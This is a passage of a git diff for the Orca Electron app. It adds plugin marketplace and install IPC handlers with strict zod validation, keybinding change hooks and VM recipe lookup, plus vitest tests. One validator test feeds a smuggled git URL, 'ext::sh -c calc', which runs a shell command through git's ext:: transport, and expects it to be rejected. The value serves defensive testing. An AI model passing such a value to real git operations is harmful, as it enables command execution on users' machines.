destroy: nodeCommand(pluginDestroyPath)
|
||||
}
|
||||
}
|
||||
])
|
||||
registerEphemeralVmHandlers(makeStore(repoPath) as never, pluginService as never)
|
||||
|
||||
const cleaned = await handlers.get('ephemeralVm:cleanup')?.(null, {
|
||||
runtimeId: 'legacy-runtime'
|
||||
} as never)
|
||||
|
||||
expect(cleaned).toMatchObject({
|
||||
status: 'cleanup_failed',
|
||||
cleanupLastError: 'Recipe not found: shared-id'
|
||||
})
|
||||
expect(existsSync(join(repoPath, 'plugin-destroy-ran.txt'))).toBe(false)
|
||||
})
|
||||
|
||||
it('provisions a recipe and persists the ephemeral runtime', async () => {
|
||||
const userDataPath = makeDir('orca-ephemeral-vm-ipc-user-data-')
|
||||
const repoPath = makeDir('orca-ephemeral-vm-ipc-repo-')
|
||||
|
|
|
|||
|
|
@ -1,6 +1,5 @@
|
|||
import { app, ipcMain } from 'electron'
|
||||
import type { Store } from '../persistence'
|
||||
import { loadHooks } from '../hooks'
|
||||
import {
|
||||
getEphemeralVmRecipeResultConnection,
|
||||
getEphemeralVmRecipeResultWarnings,
|
||||
|
|
@ -27,9 +26,12 @@ import {
|
|||
getRecipeRepo,
|
||||
listRecipeCatalog,
|
||||
listRecipes,
|
||||
resolveRecipeForRepo,
|
||||
type EphemeralVmRecipeCatalogEntry
|
||||
} from './ephemeral-vm-recipe-context'
|
||||
import { registerEphemeralVmRuntimeHandlers } from './ephemeral-vm-runtime-handlers'
|
||||
import type { PluginService } from '../plugins/plugin-service'
|
||||
import { getApprovedPluginVmRecipes } from '../plugins/plugin-approved-vm-recipes'
|
||||
|
||||
const activeProvisionControllers = new Map<string, AbortController>()
|
||||
|
||||
|
|
@ -57,7 +59,7 @@ export type EphemeralVmProvisionIpcResult =
|
|||
stdout: string
|
||||
}
|
||||
|
||||
export function registerEphemeralVmHandlers(store: Store): void {
|
||||
export function registerEphemeralVmHandlers(store: Store, pluginService?: PluginService): void {
|
||||
ipcMain.removeHandler('ephemeralVm:listRecipes')
|
||||
ipcMain.removeHandler('ephemeralVm:listRecipeCatalog')
|
||||
ipcMain.removeHandler('ephemeralVm:doctor')
|
||||
|
|
@ -65,25 +67,32 @@ export function registerEphemeralVmHandlers(store: Store): void {
|
|||
ipcMain.removeHandler('ephemeralVm:cancelProvision')
|
||||
registerEphemeralVmRuntimeHandlers(store)
|
||||
|
||||
ipcMain.handle('ephemeralVm:listRecipes', (_event, args: { repoId: string }) => {
|
||||
return listRecipes(store, args.repoId)
|
||||
})
|
||||
|
||||
ipcMain.handle('ephemeralVm:listRecipeCatalog', (): EphemeralVmRecipeCatalogEntry[] => {
|
||||
return listRecipeCatalog(store)
|
||||
ipcMain.handle('ephemeralVm:listRecipes', async (_event, args: { repoId: string }) => {
|
||||
return listRecipes(store, args.repoId, await getApprovedPluginVmRecipes(pluginService))
|
||||
})
|
||||
|
||||
ipcMain.handle(
|
||||
'ephemeralVm:listRecipeCatalog',
|
||||
async (): Promise<EphemeralVmRecipeCatalogEntry[]> => {
|
||||
return listRecipeCatalog(store, await getApprovedPluginVmRecipes(pluginService))
|
||||
}
|
||||
)
|
||||
|
||||
ipcMain.handle(
|
||||
'ephemeralVm:doctor',
|
||||
(_event, args: { repoId: string; recipeId: string }): EphemeralVmRecipeDoctorResult => {
|
||||
async (
|
||||
_event,
|
||||
args: { repoId: string; recipeId: string }
|
||||
): Promise<EphemeralVmRecipeDoctorResult> => {
|
||||
const repo = getRecipeRepo(store, args.repoId)
|
||||
if (!repo.ok) {
|
||||
return repo.doctor(args.recipeId)
|
||||
}
|
||||
const pluginRecipes = await getApprovedPluginVmRecipes(pluginService)
|
||||
return doctorEphemeralVmRecipe({
|
||||
repoPath: repo.repo.path,
|
||||
recipeId: args.recipeId,
|
||||
recipes: loadHooks(repo.repo.path)?.environmentRecipes ?? [],
|
||||
recipes: listRecipes(store, args.repoId, pluginRecipes).recipes,
|
||||
localExecutionSupported: true
|
||||
})
|
||||
}
|
||||
|
|
@ -106,8 +115,10 @@ export function registerEphemeralVmHandlers(store: Store): void {
|
|||
if (!repo.ok) {
|
||||
return { ok: false, error: repo.message, stdout: '', stderr: '' }
|
||||
}
|
||||
const recipe = (loadHooks(repo.repo.path)?.environmentRecipes ?? []).find(
|
||||
(entry) => entry.id === args.recipeId
|
||||
const recipe = resolveRecipeForRepo(
|
||||
repo.repo.path,
|
||||
args.recipeId,
|
||||
await getApprovedPluginVmRecipes(pluginService)
|
||||
)
|
||||
if (!recipe) {
|
||||
return { ok: false, error: `Recipe not found: ${args.recipeId}`, stdout: '', stderr: '' }
|
||||
|
|
|
|||
|
|
@ -75,6 +75,23 @@ describe('registerKeybindingHandlers', () => {
|
|||
expect(authorizeExternalPathMock).toHaveBeenCalledWith(snapshot.path)
|
||||
})
|
||||
|
||||
it('reconciles plugin command conflicts after a shortcut edit', () => {
|
||||
const onChanged = vi.fn()
|
||||
const setActionBindings = vi.fn(() => snapshot)
|
||||
registerKeybindingHandlers({ setActionBindings } as never, onChanged)
|
||||
|
||||
expect(
|
||||
getHandler('keybindings:setAction')(
|
||||
{},
|
||||
{
|
||||
actionId: 'plugin:orca-samples.tasks/open',
|
||||
bindings: ['Mod+Shift+T']
|
||||
}
|
||||
)
|
||||
).toBe(snapshot)
|
||||
expect(onChanged).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('authorizes the keybindings file before opening it outside Orca', async () => {
|
||||
openPathMock.mockResolvedValue('')
|
||||
registerKeybindingHandlers({ ensureFile: vi.fn(() => snapshot) } as never)
|
||||
|
|
|
|||
|
|
@ -13,7 +13,10 @@ function broadcastKeybindingsChanged(snapshot: KeybindingFileSnapshot): void {
|
|||
rebuildAppMenu()
|
||||
}
|
||||
|
||||
export function registerKeybindingHandlers(service: KeybindingService): void {
|
||||
export function registerKeybindingHandlers(
|
||||
service: KeybindingService,
|
||||
onChanged?: () => void
|
||||
): void {
|
||||
ipcMain.handle('keybindings:get', () => service.getSnapshot())
|
||||
|
||||
ipcMain.handle('keybindings:ensureFile', () => {
|
||||
|
|
@ -22,6 +25,7 @@ export function registerKeybindingHandlers(service: KeybindingService): void {
|
|||
// workspace. Opening it in the editor still needs normal fs IPC access.
|
||||
authorizeExternalPath(snapshot.path)
|
||||
broadcastKeybindingsChanged(snapshot)
|
||||
onChanged?.()
|
||||
return snapshot
|
||||
})
|
||||
|
||||
|
|
@ -30,6 +34,7 @@ export function registerKeybindingHandlers(service: KeybindingService): void {
|
|||
(_event, args: { actionId: KeybindingActionId; bindings: string[] | null }) => {
|
||||
const snapshot = service.setActionBindings(args.actionId, args.bindings)
|
||||
broadcastKeybindingsChanged(snapshot)
|
||||
onChanged?.()
|
||||
return snapshot
|
||||
}
|
||||
)
|
||||
|
|
@ -37,6 +42,7 @@ export function registerKeybindingHandlers(service: KeybindingService): void {
|
|||
ipcMain.handle('keybindings:reload', () => {
|
||||
const snapshot = service.reload()
|
||||
broadcastKeybindingsChanged(snapshot)
|
||||
onChanged?.()
|
||||
return snapshot
|
||||
})
|
||||
|
||||
|
|
|
|||
|
|
@ -0,0 +1,172 @@
|
|||
import { beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
import type { PluginMarketplaceInstaller } from '../plugins/plugin-marketplace-installer'
|
||||
import type { PluginMarketplaceService } from '../plugins/plugin-marketplace-service'
|
||||
import type { PluginService } from '../plugins/plugin-service'
|
||||
|
||||
type IpcHandler = (event: unknown, args?: unknown) => unknown
|
||||
|
||||
const electronMocks = vi.hoisted(() => ({ handle: vi.fn() }))
|
||||
vi.mock('electron', () => ({ ipcMain: { handle: electronMocks.handle } }))
|
||||
|
||||
import {
|
||||
registerPluginMarketplaceHandlers,
|
||||
type PluginMarketplaceHandlerServices
|
||||
} from './plugin-marketplaces'
|
||||
|
||||
const SOURCE_ID = 'a'.repeat(32)
|
||||
const MARKETPLACE_COMMIT = 'b'.repeat(40)
|
||||
const PLUGIN_COMMIT = 'c'.repeat(40)
|
||||
const PLUGIN_KEY = 'orca-samples.demo'
|
||||
|
||||
let handlers: Map<string, IpcHandler>
|
||||
|
||||
function createServices(): PluginMarketplaceHandlerServices {
|
||||
return {
|
||||
marketplace: {
|
||||
listSources: vi.fn().mockResolvedValue([{ id: SOURCE_ID }]),
|
||||
addSource: vi.fn().mockResolvedValue({ id: SOURCE_ID }),
|
||||
removeSource: vi.fn().mockResolvedValue(true),
|
||||
refreshSource: vi.fn().mockResolvedValue({ id: SOURCE_ID }),
|
||||
refreshAll: vi.fn().mockResolvedValue([{ id: SOURCE_ID }]),
|
||||
listPlugins: vi.fn().mockResolvedValue([{ pluginKey: PLUGIN_KEY }])
|
||||
} as unknown as PluginMarketplaceService,
|
||||
installer: {
|
||||
preview: vi.fn().mockResolvedValue({ pluginKey: PLUGIN_KEY }),
|
||||
install: vi.fn().mockResolvedValue({ ok: true, pluginKey: PLUGIN_KEY }),
|
||||
previewInstalledUpdate: vi.fn().mockResolvedValue({ pluginKey: PLUGIN_KEY }),
|
||||
rollback: vi.fn().mockResolvedValue({ ok: true, pluginKey: PLUGIN_KEY })
|
||||
} as unknown as PluginMarketplaceInstaller
|
||||
}
|
||||
}
|
||||
|
||||
function createPluginService(): PluginService {
|
||||
return {
|
||||
deactivatePlugin: vi.fn().mockResolvedValue(undefined),
|
||||
refresh: vi.fn().mockResolvedValue(undefined)
|
||||
} as unknown as PluginService
|
||||
}
|
||||
|
||||
async function invoke(channel: string, args?: unknown): Promise<unknown> {
|
||||
const handler = handlers.get(channel)
|
||||
if (!handler) {
|
||||
throw new Error(`missing IPC handler: ${channel}`)
|
||||
}
|
||||
return handler({}, args)
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
handlers = new Map()
|
||||
electronMocks.handle.mockReset()
|
||||
electronMocks.handle.mockImplementation((channel: string, handler: IpcHandler) => {
|
||||
handlers.set(channel, handler)
|
||||
})
|
||||
})
|
||||
|
||||
describe('plugin marketplace IPC authority', () => {
|
||||
it('validates every mutating or plugin-selecting request strictly', async () => {
|
||||
registerPluginMarketplaceHandlers(createPluginService(), createServices())
|
||||
|
||||
await expect(
|
||||
invoke('plugins:addMarketplace', {
|
||||
kind: 'git',
|
||||
url: 'https://example.com/marketplace.git',
|
||||
ref: 'main',
|
||||
unexpected: true
|
||||
})
|
||||
).rejects.toThrow()
|
||||
await expect(
|
||||
invoke('plugins:removeMarketplace', { sourceId: SOURCE_ID, unexpected: true })
|
||||
).rejects.toThrow()
|
||||
await expect(
|
||||
invoke('plugins:refreshMarketplaces', { sourceId: 'not-a-source' })
|
||||
).rejects.toThrow()
|
||||
await expect(
|
||||
invoke('plugins:previewMarketplacePlugin', {
|
||||
marketplaceSourceId: SOURCE_ID,
|
||||
pluginKey: '__proto__.demo'
|
||||
})
|
||||
).rejects.toThrow()
|
||||
await expect(
|
||||
invoke('plugins:installMarketplacePlugin', {
|
||||
marketplaceSourceId: SOURCE_ID,
|
||||
marketplaceCommit: 'moving-ref',
|
||||
pluginKey: PLUGIN_KEY,
|
||||
resolvedCommit: PLUGIN_COMMIT
|
||||
})
|
||||
).rejects.toThrow()
|
||||
await expect(
|
||||
invoke('plugins:previewMarketplaceUpdate', {
|
||||
pluginKey: PLUGIN_KEY,
|
||||
unexpected: true
|
||||
})
|
||||
).rejects.toThrow()
|
||||
await expect(
|
||||
invoke('plugins:rollbackMarketplacePlugin', { pluginKey: 'bare-id' })
|
||||
).rejects.toThrow()
|
||||
})
|
||||
|
||||
it('dispatches source listing, add, removal, and refresh operations', async () => {
|
||||
const services = createServices()
|
||||
registerPluginMarketplaceHandlers(createPluginService(), services)
|
||||
const source = {
|
||||
kind: 'git' as const,
|
||||
url: 'https://example.com/marketplace.git',
|
||||
ref: 'main'
|
||||
}
|
||||
|
||||
await invoke('plugins:listMarketplaces')
|
||||
await invoke('plugins:addMarketplace', source)
|
||||
await invoke('plugins:removeMarketplace', { sourceId: SOURCE_ID })
|
||||
await invoke('plugins:refreshMarketplaces', { sourceId: SOURCE_ID })
|
||||
await invoke('plugins:refreshMarketplaces', {})
|
||||
await invoke('plugins:listMarketplacePlugins')
|
||||
|
||||
expect(services.marketplace.listSources).toHaveBeenCalledTimes(2)
|
||||
expect(services.marketplace.addSource).toHaveBeenCalledWith(source)
|
||||
expect(services.marketplace.removeSource).toHaveBeenCalledWith(SOURCE_ID)
|
||||
expect(services.marketplace.refreshSource).toHaveBeenCalledWith(SOURCE_ID)
|
||||
expect(services.marketplace.refreshAll).toHaveBeenCalledOnce()
|
||||
expect(services.marketplace.listPlugins).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('refreshes discovery only after a successful install', async () => {
|
||||
const services = createServices()
|
||||
const pluginService = createPluginService()
|
||||
registerPluginMarketplaceHandlers(pluginService, services)
|
||||
const preview = {
|
||||
marketplaceSourceId: SOURCE_ID,
|
||||
marketplaceCommit: MARKETPLACE_COMMIT,
|
||||
pluginKey: PLUGIN_KEY,
|
||||
resolvedCommit: PLUGIN_COMMIT
|
||||
}
|
||||
|
||||
await invoke('plugins:installMarketplacePlugin', preview)
|
||||
expect(services.installer.install).toHaveBeenCalledWith(preview)
|
||||
expect(pluginService.refresh).toHaveBeenCalledOnce()
|
||||
|
||||
vi.mocked(pluginService.refresh).mockClear()
|
||||
vi.mocked(services.installer.install).mockResolvedValueOnce({ ok: false, error: 'failed' })
|
||||
await invoke('plugins:installMarketplacePlugin', preview)
|
||||
expect(pluginService.refresh).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('deactivates before rollback and refreshes discovery only on success', async () => {
|
||||
const services = createServices()
|
||||
const pluginService = createPluginService()
|
||||
registerPluginMarketplaceHandlers(pluginService, services)
|
||||
|
||||
await invoke('plugins:rollbackMarketplacePlugin', { pluginKey: PLUGIN_KEY })
|
||||
|
||||
expect(pluginService.deactivatePlugin).toHaveBeenCalledWith(PLUGIN_KEY)
|
||||
expect(services.installer.rollback).toHaveBeenCalledWith(PLUGIN_KEY)
|
||||
expect(vi.mocked(pluginService.deactivatePlugin).mock.invocationCallOrder[0]).toBeLessThan(
|
||||
vi.mocked(services.installer.rollback).mock.invocationCallOrder[0]
|
||||
)
|
||||
expect(pluginService.refresh).toHaveBeenCalledOnce()
|
||||
|
||||
vi.mocked(pluginService.refresh).mockClear()
|
||||
vi.mocked(services.installer.rollback).mockResolvedValueOnce({ ok: false, error: 'failed' })
|
||||
await invoke('plugins:rollbackMarketplacePlugin', { pluginKey: PLUGIN_KEY })
|
||||
expect(pluginService.refresh).not.toHaveBeenCalled()
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,76 @@
|
|||
import { ipcMain } from 'electron'
|
||||
import { z } from 'zod'
|
||||
import { PLUGIN_COMMIT_PATTERN } from '../../shared/plugins/plugin-install-lockfile'
|
||||
import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
|
||||
import { pluginMarketplaceGitSourceSchema } from '../../shared/plugins/plugin-marketplace'
|
||||
import type { PluginMarketplaceInstaller } from '../plugins/plugin-marketplace-installer'
|
||||
import type { PluginMarketplaceService } from '../plugins/plugin-marketplace-service'
|
||||
import { PLUGIN_MARKETPLACE_SOURCE_ID_PATTERN } from '../plugins/plugin-marketplace-store'
|
||||
import type { PluginService } from '../plugins/plugin-service'
|
||||
|
||||
export type PluginMarketplaceHandlerServices = {
|
||||
marketplace: PluginMarketplaceService
|
||||
installer: PluginMarketplaceInstaller
|
||||
}
|
||||
|
||||
const sourceIdSchema = z.string().regex(PLUGIN_MARKETPLACE_SOURCE_ID_PATTERN)
|
||||
const removeMarketplaceSchema = z.strictObject({ sourceId: sourceIdSchema })
|
||||
const refreshMarketplaceSchema = z.strictObject({ sourceId: sourceIdSchema.optional() })
|
||||
const marketplacePluginSchema = z.strictObject({
|
||||
marketplaceSourceId: sourceIdSchema,
|
||||
pluginKey: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key')
|
||||
})
|
||||
const installMarketplacePluginSchema = marketplacePluginSchema.extend({
|
||||
marketplaceCommit: z.string().regex(PLUGIN_COMMIT_PATTERN),
|
||||
resolvedCommit: z.string().regex(PLUGIN_COMMIT_PATTERN)
|
||||
})
|
||||
const installedPluginSchema = z.strictObject({
|
||||
pluginKey: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key')
|
||||
})
|
||||
|
||||
export function registerPluginMarketplaceHandlers(
|
||||
pluginService: PluginService,
|
||||
services: PluginMarketplaceHandlerServices
|
||||
): void {
|
||||
ipcMain.handle('plugins:listMarketplaces', () => services.marketplace.listSources())
|
||||
ipcMain.handle('plugins:addMarketplace', async (_event, args: unknown) => {
|
||||
const source = pluginMarketplaceGitSourceSchema.parse(args)
|
||||
return services.marketplace.addSource(source)
|
||||
})
|
||||
ipcMain.handle('plugins:removeMarketplace', async (_event, args: unknown) => {
|
||||
const { sourceId } = removeMarketplaceSchema.parse(args)
|
||||
await services.marketplace.removeSource(sourceId)
|
||||
return services.marketplace.listSources()
|
||||
})
|
||||
ipcMain.handle('plugins:refreshMarketplaces', async (_event, args: unknown) => {
|
||||
const { sourceId } = refreshMarketplaceSchema.parse(args ?? {})
|
||||
return sourceId
|
||||
? [await services.marketplace.refreshSource(sourceId)]
|
||||
: services.marketplace.refreshAll()
|
||||
})
|
||||
ipcMain.handle('plugins:listMarketplacePlugins', () => services.marketplace.listPlugins())
|
||||
ipcMain.handle('plugins:previewMarketplacePlugin', async (_event, args: unknown) => {
|
||||
const parsed = marketplacePluginSchema.parse(args)
|
||||
return services.installer.preview(parsed.marketplaceSourceId, parsed.pluginKey)
|
||||
})
|
||||
ipcMain.handle('plugins:installMarketplacePlugin', async (_event, args: unknown) => {
|
||||
const result = await services.installer.install(installMarketplacePluginSchema.parse(args))
|
||||
if (result.ok) {
|
||||
await pluginService.refresh()
|
||||
}
|
||||
return result
|
||||
})
|
||||
ipcMain.handle('plugins:previewMarketplaceUpdate', async (_event, args: unknown) => {
|
||||
const { pluginKey } = installedPluginSchema.parse(args)
|
||||
return services.installer.previewInstalledUpdate(pluginKey)
|
||||
})
|
||||
ipcMain.handle('plugins:rollbackMarketplacePlugin', async (_event, args: unknown) => {
|
||||
const { pluginKey } = installedPluginSchema.parse(args)
|
||||
await pluginService.deactivatePlugin(pluginKey)
|
||||
const result = await services.installer.rollback(pluginKey)
|
||||
if (result.ok) {
|
||||
await pluginService.refresh()
|
||||
}
|
||||
return result
|
||||
})
|
||||
}
|
||||
|
|
@ -0,0 +1,159 @@
|
|||
import { beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
import type { PluginLockfile } from '../../shared/plugins/plugin-install-lockfile'
|
||||
import type { PluginService } from '../plugins/plugin-service'
|
||||
import type { Store } from '../persistence'
|
||||
|
||||
const electronMocks = vi.hoisted(() => ({ handle: vi.fn(), on: vi.fn() }))
|
||||
vi.mock('electron', () => ({
|
||||
ipcMain: { handle: electronMocks.handle, on: electronMocks.on }
|
||||
}))
|
||||
|
||||
import {
|
||||
canRemoveInstalledPlugin,
|
||||
parsePluginConsentArgs,
|
||||
parsePluginInstallArgs,
|
||||
registerPluginHandlers
|
||||
} from './plugins'
|
||||
|
||||
beforeEach(() => {
|
||||
electronMocks.handle.mockReset()
|
||||
electronMocks.on.mockReset()
|
||||
})
|
||||
|
||||
describe('plugin consent IPC schema', () => {
|
||||
it('requires the fingerprint reviewed by the caller', () => {
|
||||
expect(() =>
|
||||
parsePluginConsentArgs({ pluginKey: 'orca-samples.demo', decision: 'approve' })
|
||||
).toThrow()
|
||||
})
|
||||
|
||||
it('accepts an explicit reviewed fingerprint', () => {
|
||||
expect(
|
||||
parsePluginConsentArgs({
|
||||
pluginKey: 'orca-samples.demo',
|
||||
reviewedFingerprint: 'sha256-reviewed',
|
||||
decision: 'approve'
|
||||
})
|
||||
).toEqual({
|
||||
pluginKey: 'orca-samples.demo',
|
||||
reviewedFingerprint: 'sha256-reviewed',
|
||||
decision: 'approve'
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('plugin install IPC schema', () => {
|
||||
it('requires a non-empty git ref', () => {
|
||||
expect(() =>
|
||||
parsePluginInstallArgs({ kind: 'git', url: 'https://example.com/plugin.git' })
|
||||
).toThrow()
|
||||
expect(() =>
|
||||
parsePluginInstallArgs({ kind: 'git', url: 'https://example.com/plugin.git', ref: ' ' })
|
||||
).toThrow()
|
||||
})
|
||||
|
||||
it('accepts an explicit git ref', () => {
|
||||
expect(
|
||||
parsePluginInstallArgs({
|
||||
kind: 'git',
|
||||
url: 'https://example.com/plugin.git',
|
||||
ref: ' v1.2.3 '
|
||||
})
|
||||
).toEqual({ kind: 'git', url: 'https://example.com/plugin.git', ref: 'v1.2.3' })
|
||||
})
|
||||
|
||||
it('accepts HTTPS and SSH git transports', () => {
|
||||
expect(
|
||||
parsePluginInstallArgs({
|
||||
kind: 'git',
|
||||
url: 'ssh://git@example.com/acme/plugin.git',
|
||||
ref: 'main'
|
||||
})
|
||||
).toEqual({
|
||||
kind: 'git',
|
||||
url: 'ssh://git@example.com/acme/plugin.git',
|
||||
ref: 'main'
|
||||
})
|
||||
expect(
|
||||
parsePluginInstallArgs({
|
||||
kind: 'git',
|
||||
url: 'git@example.com:acme/plugin.git',
|
||||
ref: 'main'
|
||||
})
|
||||
).toEqual({ kind: 'git', url: 'git@example.com:acme/plugin.git', ref: 'main' })
|
||||
})
|
||||
|
||||
it('rejects executable helpers and embedded HTTPS credentials', () => {
|
||||
expect(() =>
|
||||
parsePluginInstallArgs({ kind: 'git', url: 'ext::sh -c calc', ref: 'main' })
|
||||
).toThrow()
|
||||
expect(() =>
|
||||
parsePluginInstallArgs({
|
||||
kind: 'git',
|
||||
url: 'https://user@example.com/plugin.git',
|
||||
ref: 'main'
|
||||
})
|
||||
).toThrow()
|
||||
})
|
||||
})
|
||||
|
||||
describe('plugin removal authority', () => {
|
||||
it('allows installed rows but refuses dev overrides and unknown keys', () => {
|
||||
const service = {
|
||||
getDiscovered: () => [
|
||||
{ pluginKey: 'orca-samples.installed', isDev: false },
|
||||
{ pluginKey: 'orca-samples.dev', isDev: true }
|
||||
]
|
||||
} as unknown as PluginService
|
||||
|
||||
expect(canRemoveInstalledPlugin(service, 'orca-samples.installed')).toBe(true)
|
||||
expect(canRemoveInstalledPlugin(service, 'orca-samples.dev')).toBe(false)
|
||||
expect(canRemoveInstalledPlugin(service, 'orca-samples.unknown')).toBe(false)
|
||||
})
|
||||
|
||||
it('refuses bundled installs because startup would restore them', () => {
|
||||
const service = {
|
||||
getDiscovered: () => [{ pluginKey: 'stablyai.orca-theme', isDev: false }]
|
||||
} as unknown as PluginService
|
||||
const lock = {
|
||||
version: 1,
|
||||
plugins: {
|
||||
'stablyai.orca-theme': {
|
||||
pluginKey: 'stablyai.orca-theme',
|
||||
version: '1.0.0',
|
||||
source: { kind: 'bundled', bundleId: 'stablyai.orca-theme' },
|
||||
resolvedCommit: null,
|
||||
contentHash: 'a'.repeat(64),
|
||||
consentFingerprint: 'reviewed',
|
||||
installedAt: 1
|
||||
}
|
||||
}
|
||||
} satisfies PluginLockfile
|
||||
|
||||
expect(canRemoveInstalledPlugin(service, 'stablyai.orca-theme', lock)).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
describe('plugin settings lifecycle authority', () => {
|
||||
it('refreshes from the main-process settings listener without renderer follow-up', () => {
|
||||
let settingsListener!: (updates: {
|
||||
pluginSystemEnabled?: boolean
|
||||
devPluginPaths?: string[]
|
||||
}) => void
|
||||
const store = {
|
||||
onSettingsChanged: vi.fn((listener) => {
|
||||
settingsListener = listener
|
||||
return vi.fn()
|
||||
})
|
||||
} as unknown as Store
|
||||
const service = {
|
||||
setRuntimeDelegate: vi.fn(),
|
||||
refresh: vi.fn().mockResolvedValue(undefined)
|
||||
} as unknown as PluginService
|
||||
registerPluginHandlers(store, service, null)
|
||||
|
||||
settingsListener({ pluginSystemEnabled: false })
|
||||
|
||||
expect(service.refresh).toHaveBeenCalledOnce()
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,257 @@
|
|||
import { ipcMain } from 'electron'
|
||||
import { z } from 'zod'
|
||||
import type { Store } from '../persistence'
|
||||
import type { OrcaRuntimeService } from '../runtime/orca-runtime'
|
||||
import type {
|
||||
PluginPanelActionOutcome,
|
||||
PluginPanelEntry
|
||||
} from '../../shared/plugins/plugin-panel-bridge'
|
||||
import { getUserPluginsDir, getPluginsDataDir } from '../plugins/plugin-discovery'
|
||||
import {
|
||||
installPluginFromGit,
|
||||
installPluginFromLocalPath,
|
||||
readPluginLockfile,
|
||||
removeInstalledPlugin
|
||||
} from '../plugins/plugin-install'
|
||||
import { applyPluginConsent, applyPluginEnablement } from '../plugins/plugin-enablement'
|
||||
import { buildPluginList, type PluginListEntry } from '../plugins/plugin-list-projection'
|
||||
import type { PluginService } from '../plugins/plugin-service'
|
||||
import { bindPluginPanelOwnerLifecycle } from '../plugins/plugin-panel-owner-lifecycle'
|
||||
import { isQualifiedPluginKey } from '../../shared/plugins/plugin-manifest'
|
||||
import { pluginConsentRequestSchema } from '../../shared/plugins/plugin-consent-request'
|
||||
import { normalizePluginIdList } from '../../shared/plugins/plugin-consent-state'
|
||||
import {
|
||||
isAllowedPluginGitUrl,
|
||||
type PluginLockfile
|
||||
} from '../../shared/plugins/plugin-install-lockfile'
|
||||
import {
|
||||
registerPluginMarketplaceHandlers,
|
||||
type PluginMarketplaceHandlerServices
|
||||
} from './plugin-marketplaces'
|
||||
|
||||
export function parsePluginConsentArgs(args: unknown): z.infer<typeof pluginConsentRequestSchema> {
|
||||
return pluginConsentRequestSchema.parse(args)
|
||||
}
|
||||
|
||||
const setEnabledArgsSchema = z.object({
|
||||
pluginKey: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key'),
|
||||
enabled: z.boolean()
|
||||
})
|
||||
|
||||
const readPanelEntryArgsSchema = z.object({
|
||||
pluginKey: z.string().min(1),
|
||||
panelId: z.string().min(1)
|
||||
})
|
||||
|
||||
const invokeCommandArgsSchema = z.object({
|
||||
pluginKey: z.string().min(1),
|
||||
commandId: z.string().min(1),
|
||||
args: z.unknown().optional()
|
||||
})
|
||||
|
||||
const installArgsSchema = z.discriminatedUnion('kind', [
|
||||
z.object({ kind: z.literal('local-path'), path: z.string().min(1) }),
|
||||
z.object({
|
||||
kind: z.literal('git'),
|
||||
url: z.string().trim().min(1).refine(isAllowedPluginGitUrl, 'git URL must use HTTPS or SSH'),
|
||||
// Why: installs must stay reproducible even when callers bypass renderer validation.
|
||||
ref: z.string().trim().min(1)
|
||||
})
|
||||
])
|
||||
|
||||
export function parsePluginInstallArgs(args: unknown): z.infer<typeof installArgsSchema> {
|
||||
return installArgsSchema.parse(args)
|
||||
}
|
||||
|
||||
const removeArgsSchema = z.object({
|
||||
pluginKey: z.string().refine(isQualifiedPluginKey, 'invalid qualified plugin key')
|
||||
})
|
||||
const logsArgsSchema = z.object({ pluginKey: z.string().min(1) })
|
||||
|
||||
export async function listPluginsForClients(
|
||||
pluginService: PluginService
|
||||
): Promise<PluginListEntry[]> {
|
||||
await pluginService.whenReady()
|
||||
const lock = await readPluginLockfile(getUserPluginsDir(pluginService.options.userDataPath))
|
||||
return buildPluginList(pluginService, lock)
|
||||
}
|
||||
|
||||
export function canRemoveInstalledPlugin(
|
||||
pluginService: PluginService,
|
||||
pluginKey: string,
|
||||
lock?: PluginLockfile
|
||||
): boolean {
|
||||
return (
|
||||
lock?.plugins[pluginKey]?.source.kind !== 'bundled' &&
|
||||
pluginService.getDiscovered().some((plugin) => plugin.pluginKey === pluginKey && !plugin.isDev)
|
||||
)
|
||||
}
|
||||
|
||||
function rendererPanelOwner(webContentsId: number): string {
|
||||
return `renderer:${webContentsId}`
|
||||
}
|
||||
|
||||
export function registerPluginHandlers(
|
||||
store: Store,
|
||||
pluginService: PluginService,
|
||||
runtime: OrcaRuntimeService | null,
|
||||
marketplaceServices?: PluginMarketplaceHandlerServices
|
||||
): void {
|
||||
// The runtime IS the delegate: the structural PluginRuntimeDelegate type
|
||||
// keeps the facade electron-free while main binds the real service.
|
||||
if (runtime) {
|
||||
pluginService.setRuntimeDelegate(runtime)
|
||||
}
|
||||
|
||||
store.onSettingsChanged((updates) => {
|
||||
if ('pluginSystemEnabled' in updates || 'devPluginPaths' in updates) {
|
||||
// Main owns plugin lifecycle. Renderer follow-up refreshes are UX only;
|
||||
// a crashed or remote caller must not leave old workers authoritative.
|
||||
void pluginService.refresh().catch((error) => {
|
||||
console.warn('[plugins] failed to apply plugin settings change:', error)
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
// Why: startup discovery is fire-and-forget; every handler awaits it so an
|
||||
// early renderer fetch can't observe the empty pre-discovery list.
|
||||
ipcMain.handle('plugins:list', async () => listPluginsForClients(pluginService))
|
||||
ipcMain.handle('plugins:listLanguagePacks', async () => {
|
||||
await pluginService.whenReady()
|
||||
return pluginService.contentPacks.languagePacks.list()
|
||||
})
|
||||
ipcMain.handle('plugins:consent', async (event, args: unknown) => {
|
||||
await pluginService.whenReady()
|
||||
const parsed = parsePluginConsentArgs(args)
|
||||
await applyPluginConsent({
|
||||
store,
|
||||
pluginService,
|
||||
pluginKey: parsed.pluginKey,
|
||||
reviewedFingerprint: parsed.reviewedFingerprint,
|
||||
decision: parsed.decision,
|
||||
originWebContentsId: event.sender.id
|
||||
})
|
||||
return listPluginsForClients(pluginService)
|
||||
})
|
||||
|
||||
ipcMain.handle('plugins:setEnabled', async (event, args: unknown) => {
|
||||
await pluginService.whenReady()
|
||||
const parsed = setEnabledArgsSchema.parse(args)
|
||||
await applyPluginEnablement({
|
||||
store,
|
||||
pluginService,
|
||||
pluginKey: parsed.pluginKey,
|
||||
